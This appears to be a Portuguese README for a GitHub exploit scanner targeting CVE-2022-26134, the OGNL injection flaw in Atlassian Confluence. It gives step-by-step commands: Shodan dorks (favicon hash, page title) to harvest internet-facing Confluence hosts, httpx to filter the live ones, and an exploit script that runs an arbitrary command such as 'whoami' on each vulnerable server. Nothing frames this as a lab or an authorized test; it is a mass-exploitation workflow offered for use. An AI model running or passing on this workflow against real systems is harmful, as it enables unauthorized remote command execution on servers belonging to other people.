abhishekmorla/cve-2022-26134Scanner de exploit para CVE-2022-26134 no Atlassian Confluence. Usa Shodan para encontrar hosts vulneráveis e executa comandos via vulnerabilidade de injeção OGNL.
Primeiro execute os scripts do shodan para capturar todos os IPs
python3 shodan_script.py -API your_api -L limit -D "http.favicon.hash:-305179312 200" > log.txt
exemplo: python3 shodan_script.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" > log.txt
Para todos os IPs válidos:
cat log.txt | httpx -o forexploits.txt
Execute o exploit contra a lista "forexploits.txt":
python3 CVE-2022-26134.py forexploits.txt "whoami"
que imprime o IP e o comando para hosts vulneráveis.
http.component:"atlassian confluence"
http.favicon.hash:-305179312"
http.title:"Log In - Confluence" 200
http.component:"atlassian confluence" http.title:"Log In - Confluence" 200
http.favicon.hash:-305179312 200
